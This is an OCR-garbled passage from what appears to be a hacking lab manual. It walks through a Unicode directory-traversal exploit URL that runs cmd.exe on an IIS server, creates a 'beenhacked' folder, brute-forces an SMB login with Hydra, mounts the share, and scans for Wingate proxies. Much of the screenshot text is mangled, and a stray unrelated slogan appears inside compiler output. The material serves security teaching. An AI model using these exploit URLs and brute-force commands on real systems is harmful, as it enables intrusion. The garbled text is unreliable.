172.16.1.40/_wti_bin/.

172.16.1.40/notesist ida
172.16.1.40/scripts/abracadabia bat
172.16.1.40/nullhtw
172.16.1.40/scripts /abracadabia.crad
172.161.40/_vt]_bind_vti_adro/admin. ol
172,16.1.40/_vti_bind_vti_aut/dvessr.dl
172.16.1.40/_vti_bindshtmlexe
172.16.1.40/scrpts/canvert bas
172,16.1.40_vt_crf
172,16.1.40/_ti_inf her
172.16.1.40/_vti_pwld_vti_cnf
172,16.1.40/scripts/defaul asp% 20,0l
172.16.1.40_vil_pwt/sccess.cnf
172.16.1.40/_+ti_pi/administators.pd

200 - Found! -

Found!
Forbidden.
Found!
Forbidden.
Unalthorized.
Eternal server enor.
Found!
Forbidden.

- Forbidden,

- Found!

- Forbidden,

- Forbidden,

- Forbidden,

- Forbidden.,

Tsx: 517 | e888/eor-bin/adninjadmin

[rime: 00:28:58 [Total holes: 517

Hhstart||| 1] & =3 “ &Yzone-H.org ™ Download ... | (3] CiiDownloadslcst scan... |7 Scanning 172.16.1.40.. |0 (D@ 8@  zzaem |

Eemw .
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To execute, right-click on a script and left-click on Copy String.

Open Internet Explorer and paste the line in the address bar. Press the
Enter key. The directory listing of the target’s C: drive will appear.

The line that should be in the address bar is:

http://172.16.1.40/scripts/..%c0%af../winnt/system32/
cmd.exe?/c+dir+c:\

" 0 Prulessional - YMware WorksLation
Fin Edt View VM Tram Windows Help

DERCEE I EERIE
1 ' (5 s o s

| B gdt ew Fgeortes ok Hep
| sk - = - (D [F | Qeach Girevoress (Bratory | By Zb
| Addtress [ @] hirpeff172.16. 1 A0 scrpts]. otk . fwinnt faystem32jomd,sntfc s drcy =] e || ks
Directory of c:)
OI/10/2002  05:sus <D LR ASFROSE
10/13/2004 D01:43p <DIR> Databazes
03/10/2005 10:02a <D TR Documenta and Seccinga
11/03/2005 O7:38p “DIRs Downloads
02/10/2002 12:00p <DIR> In=tpub
01/06/2005 0203 <DLk lanu
10/21/2004 07:55p Z,403 odbooont. log
10/13/2004 01:43p <D TR> Peraonal
03/10/2005  0Z:oop <DLk FuE
11/02/2005 03 :38p <OTR> Frogeam Files
LOS21/2004 0@:15p <D1E> t
10/20/2004 12:47p <DIR> Tel
10/21/2004 08:13p D 1R> Windoun
LOS20/2005 0B:1Ep <D1E> MINNT
1 File(n) 2,400 byees
13 Dirisl  1,457,934,396 bytes free
£l
Duve [ [ ket
T i - ® s S :
Bz || 8 5 || Elretiog v | Bjcipmebabic. | s 2 [[Eenrzae [$DESO  zmm
Bome .

From this point the entire hard drive can be viewed a directory at a time
by editing the script in the address bar.

*Note: At this point an attacker may choose to see exactly what is installed on the
target. He or she may check to see if the target has a firewall or antivirus
installed, and whether there are any logs, proprietary software, sensitive
documents, etc.
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To list the contents of the Program Files directory, edit the address bar to

http://172.16.1.40/_vti_bin/..%c0%af../..%c0%af../..%c
0%af../winnt/system32/cmd.exe?/c+dir+c:\progra~1

00 Prolessional - ¥ WorksLation

Fin Edt View VM Team Windows Help I
milre|BGHNeann |
oy Hame Wil Lo | Fed et Linie: O Server Wi 2000 Server
2 hilkps/ D6 LADY_wli_bin/A 'Ji|m&-"5)‘:hmlI':iz_."\lllll.!m'h'l.‘dh'm'\n:wwr-l- ficrusolt Inbern
| B £t Wew Faortos ok e |
| sk - = - (DA | Boesch Guravormss (inmory | e Ob
| | Address |2
Directory of £:)progra-l H
L1/02/2005 03:35p “D1R>
11/02/2005 03:35p <DIR>
o2f10/2002 05:54n «DTR Acorasorien
ozf10fz002  1z:01p “DIRs Crsk
01/02/2005 O6:3ép <DIR> Common Files
0z/10/2002  11:5ga <DLk ComPlus Applications
11/02/2005 03:36p <DIR> Ethezeal
0S/27/2005 04:58p «DTR> Fluffy che SHTPGuardbog
03/04/2005 09:38p “D1E> InCerls
0271072002 12:06p <OTR> Tnterner Exploree
03/05/ 2005 “D1R> LUE Desktop Helpdesk
03/04/2005 <DIR> LEE Web Helpdesk
a2/ 10/ 2002 TR Misroanfr FrontPage
0210/ 2002 “D1R> Hicrosoft Script Debugoer
03/09/2008 <DIRs HysQL
W0/26/2005 <DL et Tools
01/01/2005 <DIR> NetBus Pro
o2/10/2002 <DTR> NecMeecing -
10/20/2004 “DLR: nety
01402/ 2005 tOTR>» Necunrlk Scamnler
0z/10/2002 “<DIR> it look Express
oz/10/2002 <DIR> Phone Buck Jecvice
n1/01/2008 «DTR> Spybor - Search & Deacroy
10/06/2004 <DIR> VHvare
10212004 08:14p <DTR> Winary 93 =
fil Eifernet
st | A B || Elree vt | Gjcipoiabie. | o S 1720 [[@Rmenrzae_ [ PESHO 2o

Riome .

At this point an attacker may see if he or she has write access to the target.

This is done by attempting to send a create directory command within the script:

http://172.16.1.40/_vti_bin/..%c0%af../..%c0%af../..%c
0%af../winnt/system32/cmd.exe?/c+md+c: \beenhacked

00 Prolessional - ¥ WorksLation

Fin Edt View VM Tram Windows Help I
milre|BGHNeann |
- Wil Lo | Fed et Linie: O Server F
| e - = DG S| Qeesch Gyravorre: Froy | B
[ Adddress | harpoff172.16.1.40]_tl_bin]. St [ St . S fe =] e || ks
Directory of £:)progra-l H
11/02/2005 03D <D LR
11/02/2005 03 <DIR> .
02f10/2002 0S5:f «DTR Acorasorien
02/10/2002 12: “DLE> Cmak
01/02/2005 06: <DIR> Commn Files
0Z/10/2002 1113 <DLk ComPlus Applications
11/02/2005 03: <DIR> Ethezeal
05/27/2005 04:¢ «DTR> Fluffy che SHTPGuardbog
03/04/ 2005 <DLk InCeris
02/10/ 2002 <OTR> Tnterner Exploree
03/05/ 2005 “D1R> LUE Desktop Helpdesk
03/04/2005 <DIR> LEE Web Helpdesk
a2/ 10/ 2002 TR Misroanfr FrontPage
0210/ 2002 “D1R> Hicrosoft Script Debugoer
03/09/2005  10:33p <DIRs HysQL
W/26/2005 12:459p “DLR> HNet Tools
01/01/2005 O08:55p <DIR> NetBus Pro
03/10/2002  12:08p <0TRs NerHeeeing =
10/20/2004 12 :50p <DIR> nety
01/02/20058 0N6:19p «DTR> Nerwork Scumnler
02/10/2002 12:05p “<DIR> it look Express
02/10/2002 05:53a <DIR> Phone Buck Jecvice
01/01/2005 0&:33p «DTR> Spybor - Search & Deacroy
10/06/2004 08:03p <DIR> VHvare
10212004 08:14p <DTR> Winary 93 =
L Eternet
et || 2 @ S || Bz timg 0. | Gicipwioadic | i sonng 1720 [[@ 7206 [ DEBO w0

Riome .
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The following screen appears:

B Winduws 2000 Professional - VHiware WorksLation =10

Fin Edt View VM Tnom  Windows Help |
MESEE =G
¢ i Fea e Lo D Server | | WWindow 2000 Server
| et - o - DA | Boewch Syrmomss (Piisory | Bh- b i : i
| Addtress [ ] hirpff172.16.1.40]_tl_bin. St | Scitial .. Stk fe =] e ||k ™
H
CGI Error
The specihisd OGT apphation msbehaved by not sebummg a complete set of HTTE headers The headers it did return are
|
e i
Az || A8 5 || Elmetiog v | Gjcipmeabic. | s iz [Eloorncata. [ DEBO  sazem

Bomsb .

On the address bar enter the same script originally obtained from the TCS
CGI Scanner:

http://172.16.1.40/scripts/..%c0%af../winnt/system32/
cmd.exe?/c+dir+c:\

000 Prulessional - YMware WorksLation

Fin Edt WView WM Toam  Windows Help |

& uul_!am f'hﬂﬂl|ﬂ§3|[:]|_

| e - = (D E) | Beeech Grawenss (Jroy B O

| Addtress [ @] hirpeff172.16. 1 A0 scrpts]. otk . fwinnt faystem32jomd,sntfc s drcy =] ?;Gn ”I.ih“
|

Directory of c:)

O2/10/2002 05:508 <DLE> ASFROSE

11/08/2005 04:41p <DIR> beenhacked
10/13/2004 01:43p <D IR Dacahases
03/10/2005 10:028 DI Documents and Hettings
11/03/2005 07:39p <DIR> Dovnloads
02/10/2002 12 :00p <DLE> Inecpub
01/06/2005 08:03p <DIR> lawBd
1n/21/2004 07:55p 2,403 odbecont. log
10£13/2004 0L:43p <DLE> Personal
03/10/2005 0 :08p <BIR> rHE
11/02/2005 0F:35p “D1R> Progream Files
10/21/2004 08:15p <DIR> 13
10/20/2004 12:97p iR Teld
LOS21/2004 0@:1dp “D1R> Windows
10/20/20058 06:12p DIk WINNT

1 File(s) 2,409 bytes

14 Dici=) 1,457,868,800 bytes free

|

Do [T [ ket
start| | 1) @ 5 || E)zeetiong =0 | Gicipomiontic. | pdsowvim 1720 |[Eherm iz 00— [ DEBO wierm
Bomsb .
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Notice that the beenhacked directory is now created in the root of the C:
drive on the target.

*Note: The results of these scripts tells an attacker that the computer has read/write
access and as such can issue commands to the target as if the attacker were
sitting behind the keyboard of the target. At this point, the attacker owns the
target.

The gray bar along the top right of the application allows you to enter
custom scripts for the application to check against the target. If you wanted
to check the Program Files directory or create a beenhacked directory on each
target it is capable of compromising, you could enter these scripts here and
click the downward-pointing arrow to enter the script into the application.
Repeat this process for multiple targets

=0 == | [
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Lab 39: Shared Resources Locator
Identify Open Shared Resources: Hydra

Prerequisites: Shared resources on the target

Countermeasures: Bastion servers/workstations, host-based firewalls

Description: The Hydra application will scan a range of IP addresses and
identify any open shares from open port 139. Open shares are shares
without passwords assigned to them, of which the majority allows
anyone to copy, move, delete, and quite often add to the share. Not
all shares are left unprotected and Hydra has the ability to brute-force
its way into the share given a username and password list combination.
Remember that Linux commands are case sensitive.

Procedure: Compile, install, and launch against the target with the following
syntax:

./hydra <options> (Target IP or Hostname)
or
./xhydra (To start Hydra in X)

From the directory containing the compressed Hydra files type tar —zxvf
hydra-5.0-src.tar.gz.

The files will uncompress into a new directory named hydra-5.0-src.

Change to the new directory by typing cd hydra-5.0-src and pressing Enter.

Hydra needs to be compiled for the specific machine it is on. This is done
by typing ./configure.

Hydra will compile to the specific machine. The next step is to create
Hydra by typing the make command.

18 e Hal Linaiss - Wielware Workalation =10

Fin Edt View VM Trom  Windows  Help

= Eeiml=]

0 e

Elle  Ed  Mew Termind o Help
Starting hydra auto configuration ... =

Checking for openssl (libssl/ssl.h) ...
.. found
choecking Tor Postgres (1ibpg) ...
.. NOT found, module postgres disabled
Checking for SVN (ibsva_elient-1 libapr-f.so libaprutil-O.se) ...
.-+ KOT found, module svn disabled
Checking for SAP/R3 (librfc/saprfc.h) ...
.. NOT found, module saprd disabled
Get it from http://www.sap.com/solutions/netweaver/linux/eval/index.asp
Checking Tor libssh (libsshylibsshoh) ..o
+. NOT found, module ssh2 disabled
Cet i1 From hitp://Oxbadedde.be/ - use v0.110

Hydra will be installed into .../bin of: fusr/local
{change this by renning . /eonfigure —-preflisspath)

e it ing Makefdleoin ..

NOTES NOTES NOTES NUTES NUTES NUTES NUTES NOTES NUTES NUTES NOTES NOTES

ARM/PalmPilot users: please run ./configure-arm or ./configure-palm respectivly

now type “make"
[rootdlocalbost hydea-5.0-sre]d make =

AP HSREET o
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The make command will execute and attempt to create the xhydra for
Linux X.

Fin Edt View WM Toam Windows  Help |

ol s/hydrahyd
Eile  Edt  Mew Temminal  Go  Help
gece -1, -Wall -02 -c hydra-svn.c -DLIBOPENSSL -I/usr/kerberos/include =
Ree -1. -Wall -02 -c hydra-peanywhere.c -DLINOPENSSL -1/usy/kerberos/include

gee -1, -Wall -02 -c hydra-sip.c -DLIBOPENSSL -I/usr/kerberos/include

gee -1. -Wall -02 -¢ cred2.c -DLIBOPENSSL -1/ust/kerberos/include

pee -1, -Wall -02 -c d% © -DLTROPENSSL -T/usr/kerberos/inc lude

gce -I. -Wall -02 -c md4.c -DLIBOPENSSL -I/usr/kerbercs/include

e -T. -Wall -02 -c hydra-med.c -DLTROPENSSL -1 usr/kerboros/ ine lude

gce -1. -Wall -02 -c hydra.c -DLIBOPENSSL -I/usr/kerberos/include

gce -1. -Wall -02 -1o -0 hydra hydra-vnc.o hydra-penfs.o hydra-rexec.o hydra-nntp.o hydra-sockss.
0 hydra-telnet.o hydra-cisco.o hydra-http.o hydra-ttp.o hydra-imep.o hydra-pop3.o hydra-smb.o hyd
ra-icq.o hydra-cisco-enable.o hydra-ldap.o hydra-mysgl.o hydra-http-proxy.o hydra-smbnt.o hydra-m
sl .0 hydra-somp.o hydra-cvs,o hydea-satpasth.o hydea-saprd.o hydea-ssh? o hydra- teasspeak o hyd
ra-postgres.o hydra-rsh.o hydra-rlogin.o hydra-oracle-listener.o hydra-swn.o hydra-pcanywhere.o h
ylra-sip.o cred3?.o d3des.o mdd.o hydea-mod.o hydrao -1m leeypto -Liuse/lib -Luse/ local/l
ib -L/1ib -L/1ib -L/1ib

T¢ nen could get pregnant, abortion would be a sacrament

el hydra-gtk &% . /make_shydra,sh
[Trying to compile xhydra now (hydra gtk gui) - dont worry if this fails, this is really optional

‘srefxhydra’ -» . /xhydra’
The GIK GUI is ready, type "./xhydra" te start

tow type make install
[root@localbost hydea-5.0-sre]d

RS ey =0 o uw

Bomki

£l

To start Hydra in X type:

. /xhydra

Fin Edt View WM Toam Windows  Help |

CREEE T =] |

ol s/hydrahyd
Eile  Edt  Mew Temminal  Go  Help
gece -1, -Wall -02 -c hydra-svn.c -DLIBOPENSSL -I/usr/kerberos/include =
Ree -1. -Wall -02 -c hydra-peanywhere.c -DLINOPENSSL -1/usy/kerberos/include

gee -1, -Wall -02 -c hydra-sip.c -DLIBOPENSSL -I/usr/kerberos/include

gcc -1. -Wall -02 -c credZ.c -DLIBOFENSSL -1/ust/kerberos/include

pee -1, -Wall -02 -c d% © -DLTROPENSSL -T/usr/kerberos/inc lude

gce -I. -Wall -02 -c md4.c -DLIBOPENSSL -I/usr/kerbercs/include

e -T. -Wall -02 -c hydra-med.c -DLTROPENSSL -1 usr/kerboros/ ine lude

gce -1. -Wall -02 -c hydra.c -DLIBOPENSSL -I/usr/kerberos/include

gce -1. -Wall -02 -1o -0 hydra hydra-vnc.o hydra-penfs.o hydra-rexec.o hydra-nntp.o hydra-sockss.
o hydra-telnet.o hydra-cisco.o hydra-http.o hydra-ftp.o hydra-imap.o hydra-pep3.o hydra-smb.o hyd
ra-icq.o hydra-cisco-enable.o hydra-ldap.o hydra-mysgl.o hydra-http-proxy.o hydra-smbnt.o hydra-m
sl .0 hydra-somp.o hydra-cvs,o hydea-satpasth.o hydea-saprd.o hydea-ssh? o hydra- teasspeak o hyd
ra-postgres.o hydra-rsh.o hydra-rlogin.o hydra-oracle-listener.o hydra-swn.o hydra-pcanywhere.o h
ydra-sip.o cre3?.o d3des.o ndd.o hydra-mod.o hydra.o -1m - 1s Alih -Ljusr/local/l
ib -L/1ib -L/1ib -L/1ib

lerypto -L/)

T¢ nen could get pregnant, abortion would be a sacrament

el hydra-gtk &% . /make_shydra,sh
[Trying to compile xhydra now (hydra gtk gui) - dont worry if this fails, this is really optional

‘srefxhydra’ -» . /xhydra’
The GIK GUI is ready, type "./xhydra" to start

tow type make install
[rout@localhast hydea-5.0-sre]d . fhydral] m

RS ey = e uw

Riomei
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Xhydra will start.

ri
Fe Edt wew VM Team ‘Windows e

LR R b= B Himi (=]

i Fuee | |y Widiws 2000 Pridessionl | [RECLEARERY |y FeuHal Linac B Server (@ Werkaris 2000 Sevver x
v _root@ localhost-/wels/hydrahydras.0-sic -8 K
Ele Ed View Te a

gcc -I. -wall -02 - o SR [=]
pee T, -Wall -n2 -| & oui

pec -L. -Wall -02 -|Tget | Passwonts | Tuning | Specilic |Stan

gee -I. -Wall -02 - Target

pec -T. -Wall -02

gcc -1, -Wall -02 - &) Sunghe Target 127001

gee -I. -Wall -02 -

pec -T. -Wall -02 nntp.o hydra-sockss.
0 hydra-telnet.o h b L AR LNL p3.0 hydra-smb.o hyd
ra-icg.o hydra-cisc dra-sebnt.o hydra-n
g l.o hydrea-snnp,o Bt 0 = dra- teamspeak .o hyd
ra-postgres.o hydra = hydra-pcanywhere.o h
ydra-sip.o crc3z.o r/lib -L/usr/local/l
ib -L/1ib -1/1ib -L Protocal eten v

1f men could get pel| Oulput Options

cd hydra-gtk && ./n ] Use SSL [] Be Veroue

Teying to compile o is really optional
‘srefxhydra’ -» "L

[The CTE CUI is read [ Show Anempis 1 ki

Mow type make instal

[root@localhost hyd{tvda 127.0.0.1 cisco | youmame -5 youpass 4 36 ]

Wied Now 09
73irM

1 —
e Aelo St EoRets foC) @

Eces

Change the Single target to the new target.

Change the Port from Cisco to 139. (After all, we are looking for SMB
Shares).

Select the Show Attempts and Be Verbose options.

1 et Haat Linese - Viware Woekstatinn =

Fe Cdt Wew WM Tesm ‘Windows Heb
R e = =]

i it | [y Wi 2000 Pritessinsl

=inix

[ el Lo B Sevm |y Wenows 2000 Server
AEGTE
@ cuit

Target | Passwonds | Tuning | Specilic |Stan

Targe!

) Single Target 17216140
() Target List
Por
Protocol

Oulput Options

[ e S51 e Verhoe

k

[ Show Attempts

] Debing

hydra 172,16.1.40 smb -5 139 - -V -l youwname -p yourpass -t 36

Eces




Scanning w181

Select the Passwords tab.

Change the Username to Kermit. (Labs 10 and 11 identified the real
Administrator account as being renamed to Kermit.)

Change the password to either a specific password for the account or in this
case to a password file. There are applications designed to create password
files, but if you need to create one manually simply create a text file in the
directory containing Hydra with passwords containing one password per line.

[l ot ne - vramare warkctation ~lmi =l
Fe Edt wew VM Team ‘Windows e

TR e = = =]

L 3
root's Home

Target| Passwords, Tuning | Specilic |Stan
s,

Lseamame

(@ Usamame et

) Usemame List
Password

(0 Password

() Password List passwardlist|

Colon seperated file

[ Use Colon sepesated file

|1 Try login as password L Try empty password
hydra 172,16.1.40 smb -5 139 v - -| kermit -7 passwordlistl £ 36
‘b : ’_\ o oy =0 [ ] @ Wil Now 09
N S - &= ] [, BOLFM
Eces

Click on the Start tab.

BT
P Lt Vew WM Tesm ‘Windows b

MR e = = =]

(s Pomdd Hat Linwia

root's Home @ it

Taget | Passwords | Tuning | Specilic su.m|

Ourput

Stany, ismp Saye Oupur | Clear Cuput
hydra 172,16.1.40 smb -5 139 v - -| kermit -7 passwordlistl £ 36

AL NeREE " o um

BEcms -
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Click Start. The results will be displayed.
i

Fe Cdt Wew WM Tesm ‘Windows Heb
mnye |AGHaa sne

i it | [y Wi 2000 Pritessinsl [ el Lo B Sevm |y Wenows 2000 Server

(T B HydaGTk
root's Home & Quit

Target | Passwonds Tuning | Specilic su.m|

Cutput

Hydra v5.0 () 2005 by van Hauser | THE - wsee vl ortly lor legal purposs
Hydra (hitp:jjwww.thc.ongl starting at 2005-11-09 20:02:04
[DATA] 1 tasks, 1 servers, 6 login tries 0. 1/p.6), ~6 ties per lask
[DATA] attacking senice smb on port 139
[VERBOSE] Resolving addresses ... done
[ATTEMPT] tasget 172,16.1.40 - login “kemit® - pass "a" - child 01 ol 6
[INFO) Reduced number of tasks fo 1 (smb does not like paraliel connectiong
[ATTEMPT] target 172.16.1.40 - login “kemit™ - pass "ab” - child 0-2 of 6
[ATTEMPT] tamet 172.16,1.40 - login “kemt” - pass “abc” - child 0+ 2 of &
[ATTEMPT] targer 172.16.1.40 - login “kermit® - pass “1" - child 0 - 4 of 6
[ATTEMPT] tasget 172.16.1.40 - login "kemit™ - pass *12° - child @ - 5 of &
[5TATUS] attack finished for 172.16.1.40 {wasting for childs to finish)
[ATTEMPT] tasget 172,16.1.40 - login “kemnit™ - pass “123" -child 0 -6 of 6
139][smb] host: 172.16.1.40 _login: kermit _password: 12

dra (hop:{fwww.the_orgl finished ar 2005-11-09 20:02:06
slinished»

[+
| Clear Qumput !

fydra 172,16.1.40 smb -5 139 ¥ v - ke P passwordist] -t 36

Eces

Hydra will attempt each password from the password file for the username
given. If the correct password is in the file, Hydra will let you know. In this
example, the password for the username kermit is 123.

Now that you know what the username/password combination is, how
do you connect to it?

The first step will be to create a directory that Linux can associate with the
target’s share by typing:

mkdir hacker
Sl

Fe Cdt Wew WM Tesm ‘Windows Heb
- R = e =i]

i it | [y Wi 2000 Pritessionsl i Fedial Lo B Sevvr |, VWikows 2000 Server
b o0t bocalho st=toolsihydrahydacs. 6-src

Ede Edt Mew JTerminal Lo  Help

[root@localhost hydra-5.0-src]# mkdir hacker

[root@localhost hydea-5.0-seeli ]

L ey e o ump

Eces
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Next is to mount the shared directory on the target. In this example, I know
the share name (Personal) from the LANguard application lab (Lab 30).

Sdfds

B Red Hat Linux - ¥Mware Workstation

File Edt Yew %M Team Windows Help

~=101x]

nrelceplEea

[ Home | [& {5y Red Hat Linux Il
&2 .roo1@localhost~jiools/hydajhydiass, bisic.

File Edit View Terminal Go Help
[root@localhost hydra-5.0-src]# mkdir hacker

=l

@8 Hpa® 'a @

[root@localhost hydra-5.0-src]# smbmount "\\\\172.16.1.40\\personal” hacker -o \

Wed Nov 09
10:41 PM

GEmw

Type in the username for the share.

B Red Hat Linux - ¥Mware Workstation

File Edt Yew %M Team Windows Help

nrelceplEea
ﬁke(l Hat Linux

[k .root@localhost:z /ool s/hydrajhydrass. o:sic
File Edit View Terminal Go Help

> username=kermit

21518: session request to 172.16.1.40 failed (Called name not present)
21518: session request to 172 failed (Called name not present)
Password: ||

A& Bp®E @

[root@localhost hydra-5.0-src]# smbmount "\\\\172.16.1.40\\personal" hacker -o \:

Wed Nov 09
10:45 PM

Comw
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Type in the password for the share.

B Red Hat Linux - ¥YMware Workstation o [=] 3

File Edit Yew YM Team ‘Windows Help
nfrelgaRlpa®
& (5 Red Hat Linux
root@localhost:~ftools/hydra/hydra:5.0:src
File Edit Wiew Terminal Go Help
|[roota@localhost hydra-5.0-srcl# smbmount "\\\\172.16.1.40%\personal" hacker -o \[*]
> username=kermit

21523: session request to 172.16.1.40 failed (Called name not present)
21523: session request to 172 failed (Called name not present)
Password:

[root@localhost hydra-5.0-srcl# I

.,
L I=1E3

Bemw

Verify that the Linux machine can view the contents of the target’s shared
folder.

=101 %]

ed Hat Linux - ¥Mware Workstation

]
File Edit Yew %M Team ‘Windows Help
iy @
A {7y Red Hat Linux
[ oot localhost:~/toolsthydra/hydra-5. 0-src
File Edit View Temminal Go Help

[root@localhest hydra-5.0-src]# smbmount "\\\\172.16.1.40%\personal" hacker -o \Z
> username=kermit

21523: session request to 172.16.1.40 failed (Called name not present)
21523: session request to 172 failed (Called name not present)

.r
=T

Password:

[root@localhest hydra-5.0-srcl# 1s -1 hacker

total 8

drwxr-xr-x 1 root root 4096 Nov 9 18:29 Inetpub
drwxr-xr-x 1 root root 4096 Nov 9 18:29 laboé

[root@localhost hydra-5.0-srcl#

Wed Nov 09
10:48 FM

Bemw




Scanning ®m 185

By looking at the shared directory on the target we can verify that the
Linux machine is actually looking at the contents of the share on the target.

] Windnes 2000 Seever - Vware Workstatinn
Fe Lt Vew M Tesm Wndows Heb
mmle® 66688 me
e e L L T e O T s Wik 2000 Serven
(st [ @ D) || Bcoomend prose [[ Sepersunal
0 )\ Pevsunal
| Fim Fflt Vew Faverdws Took  Help
| bk « = - 1) hseerch Chfokens igtstory |0 05 X o Bl
BRI cperrsl _ _ ] S
el ® Nome | | stze | Type [ Mectfied |

ety | Fie Folder 119/2005 6:29 PH

CHek#6 Fil Fokder 11{9/2005 6:29 P4

s
Personal

Swect, 0 e Lo v
descriphon.

Seen s

2 cbiecis) L =TT
=

When you look at xhydra, the bottom of the screen will display exactly what
you would need to type if you choose to use the command-line version or if
xhydra will not install on your version of Linux. In this case, you would type:

./hydra 172.16.1.40 smb -s 139 -v -V -1 kermit -P
passwordlistl -t 36

e Ldt \ew M Tesm Wrdows teb

mmle® 66688 mE
Wi 2000 Fiiotessione | [TLETTEUWEN () e Hol L B Senv | (i Wierdcros 2000
hd o alhost=joolsihydavhydmS.eore o

Ele Edt Mew Terminal Go Help B
[rootdlocalhost hydra-5.0-srcl# . /hydra 172.16.1.40 smb -5 139 -v -V -1 kermit -P passwordlistl —_l;
t 36

Q=L Hepa® @ o e

Eces
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The results from the command line are identical to the xhydra.

Bl Red Hat Linus - ¥Mware Workstation N o [ [ 3]

File Edit %ew %M Team Windows Help

x
5 ]

Eile Edit View Terminal Go Help
[root@localhest hydra-5.0-src]# ./hydra 172.16.1.40 smb -s 139 -v -V -1 kermit -P passwordlistl -Z
t 36

[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
Hydra v5.0 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2005-11-09 20:04:14

[DATA] 1 tasks, 1 servers, 6 login tries (1:1/p:6), ~6 tries per task

[DATA] attacking service smb on port 138

[VERBOSE] Resolving addresses ... done

[ATTEMPT] target 172.16.1.40 - login "kermit" - pass "a" - child 0 - 1 of 6
[ATTEMPT] target 172.16.1.40 - login "kermit" - pass "ab" - child 0 - 2 of 6
[ATTEMPT] target 172.16.1.40 - login "kermit" - pass "abc" - child 0 - 3 of 6
[ATTEMPT] target 172.16.1.40 - login "kermit" - pass "1" - child 0 - 4 of 6
[ATTEMPT] target 172.16.1.40 - login "kermit" - pass "12" - child 0 - 5 of 6
[STATUS] attack finished for 172.16.1.40 (waiting for childs to finish)
[ATTEMPT] target 172.16.1.40 - login "kermit" - pass "123" - child 0 - 6 of 6
[139] [smb] host: 172.16.1.40 login: kermit password: 123:[

Hydra (http://www.thc.org) finished at 2005-11-09 20:04:16

[root@localhest hydra-5.0-srcl# I

AL U E@ o ww
Eemw

*Note: There are literally thousands of open shares existing on the Internet, and thou-
sands of those are left unprotected unintentionally. One of the biggest reasons
for this is that the owner is not educated in the area of security and is dependent
upon his or her ISP or even the router “out-of-the-box” for their security needs.
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Lab 40: Locate Wingate Proxy Servers
Locate Wingate Proxy Servers: WGateScan/ADM Gates

Prerequisites: Wingate Proxy Server target

Countermeasures: Deny Wingate Proxy Servers, Bastion servers/

workstations

Description: The Wingate Proxy Server application is designed to act as

a proxy for users on a LAN. This proxy provides Network Address
Translation (NAT), which is a level of security as the internal IP
addresses are not routable on the Internet. Any traffic going to the
Internet has the external IP address of the Wingate server. Remember
that all Linux commands are case sensitive.

Because of this level of anonymity attackers look for vulnerable Wingate
Proxy Servers from which to launch their attacks and on which to store their
tools. One of the first items an attacker will perform once the Wingate server
has been compromised is to turn off any logging to help cover his or her
tracks. Remember: No Logs = No Evidence.

Procedure: Enter the target IP range, target information, and application

options; then scan.

Open the WGateScan application.

Bl Windows 2000 Professional - ¥Mware Workstation

File Edit Y¥ew %M Team Windows Help

#= wGateScan 4.0b for Win98 by Pixel / Edena

Seanring resul

Hastnams or P =1 pel

The above address wil be scanned from the 1P

N IO

" Open the port and by ta receive the sting : [wirGate>
" Open the part and ty ta send the sting : [u/inNuke Aulez!

& Try to apen the pait erly

| Clear it Save list

‘ £ scan & Options © bt B ot

— | wG sjescen

[Ready...

Connect with mIRC

i Start H o @& 1 H (3 C:1Bownload: tescan| ) ||&

4.0 for Wi... \4]%@@ 11:52PM
=T I
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Enter the target hostname or IP address. Enter the IP address range. Accept
the default Scan in port 23. Select Try to open the port only. Click Scan.

indows 2000 Professional - ¥Mware Workstation

File Edit wiew VM Team Windows Help

.ateScan 4.0b for Win98 by Pi
~Scanring

Hastname or IP:[172.16.1.40

The shove address wil be scanned from the I

ik o i i e ™

 Open the port and iy to receive the stiing : [winGates
" Dpen the pott and by to send the sting : [/inMuke Rulez!

% Try to open the port only

Clearlist ~ Save list

Connect with mAC

‘ 8 scan B Options @ About B ouit ‘

Seanprogress:[ ‘ W“

|Resolved o 172.16.1.40

||®wnate5(an4.nh for wi. |JFEILE 1usaem |

i#start “ i) @ =3 |] [3)cDamrloadstwinGatescan| EJvwinzooos-v
cemw .

WGateScan will locate any Wingate servers within the IP range set.

indows 2000 Professional - ¥Mware Workstation

File  Edit  Wiew M Team Windows Help

.ateScan 4.0b for Win98 by Pis 2l =100 x|
-~ Scanning
Hostrame or IP :[17216.1.40 =] pa [[172181.40

The above address wil be scanned from the [P :

2 o

" Open the port and iy to recaive the stiing : [winGates
" Dpen the poit and ty to send the sting : [inMuke Rulsz! |

& Try lo open the por only

Clearlist  Save list

‘ £ Scan! % Options © About B i ‘ e e
Sean progress WGQE%FGIM

’—Scan completed between 172161 40 and 172161 40 in 0 seconds - 1 server found

||ﬁwﬁatg5(an4.nh for wi.. | EISRE 11:55em |
Eemw .

i#start “ ] @& =3 |] (3)cDamrloadstwinGatescan| EJvwinzooosv
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In this example, one Wingate server was located at 172.16.1.40.

*Note: From this point, the attacker will attempt to compromise the security of the
server by seeking specific exploits for Wingate servers. The newer versions
of Wingate allow the server to use the Windows users for the Wingate server
user list. What this means for the attacker is if the attacker has already
compromised one account on the server, he or she can now log into the
Wingate machine as that user.

To locate Wingate serves via ADM Gates:

B From the Linux directory containing the compressed ADM Gates file
type tar —zxvf ADMgates-v(.2.tgz.

B The files will uncompress into a new directory named ADMgates.

B Change to the new directory by typing cd ADMgates and pressing
Enter.

B Install ADM Gates by typing ./install.

B Red Hat Linux - ¥Mware Workstation =101 x|
File Edit wiew VM Team Windows Help

ulr & ElEE=l=]

a {3 Red Hat Linux [
|l root@localhost:~/tools/admgates/ADMgates

Elle Edit view Terminal Go Help
[root@localhost admgates]# cd ADMgates [=]
[root@localhost ADMgates]# ./install]

]

AL He@E =@ o R

Ee@mw .
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The ADM Gates application will install.

Ol  Edt  Yiew Terminal Help =l
[root@localhost adngates]® cd ADMgates Ll
[root@localhost ADMgates]s ./install

compile scan..

fecanconnect.c: In function ‘main':
fscanconnect.c.

done

compile wps..

done

[root@localhost AlMgates]e ||

_ i
el Bl =a o

Ecavi -

In this example, ADM Gates is used to scan the entire .com domain by typing:
./ADMgates com

*Note: As you might imagine you could read this entire book a million times before
a scan of the entire .com domain would complete; the reality is at a minimum
your ISP would cut you off before completion because the government is
picky about people scanning its computers and has no problem letting your
ISP know about it when it occurs.

Ele  Edt  Yiew Termind Go  Help 2|
[rootelacalhost ADMgates]s ./ADMgates con Ll
happy scan =) .. The ADM Crew

isnnnniug of com. .

_ i
el Bl =a o

Ecavi -
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In the next example ADM Gates is used to scan a specific server
(spiveytech.com).

